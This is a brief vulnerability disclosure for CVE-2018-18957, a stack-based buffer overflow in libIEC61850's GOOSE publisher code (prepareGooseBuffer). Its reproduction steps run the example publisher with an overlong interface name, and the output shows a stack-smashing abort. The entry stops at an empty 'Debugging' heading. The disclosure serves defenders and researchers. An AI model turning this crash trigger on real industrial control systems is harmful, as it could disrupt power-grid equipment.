# Vendor Homepage: http://libiec61850.com/libiec61850/
# Software Link: https://github.com/mz-automation/libiec61850
# Version: 1.3
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2018-18957
# References:

# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18957

# Summary
# While fuzzing a stack based buffer overflow was found in libIEC61850 (the
# open-source library for the IEC 61850 protocols) in prepareGooseBuffer in
# goose/goose_publisher.c

## Steps to reproduce

$ ./goose_publisher_example crash_goosecr_stack_smash_overflow_aaaaaaaaa
Using interface crash_goosecr_stack_smash_overflow_aaaaaaaaa
*** stack smashing detected ***: <unknown> terminated
Aborted
$

## Debugging
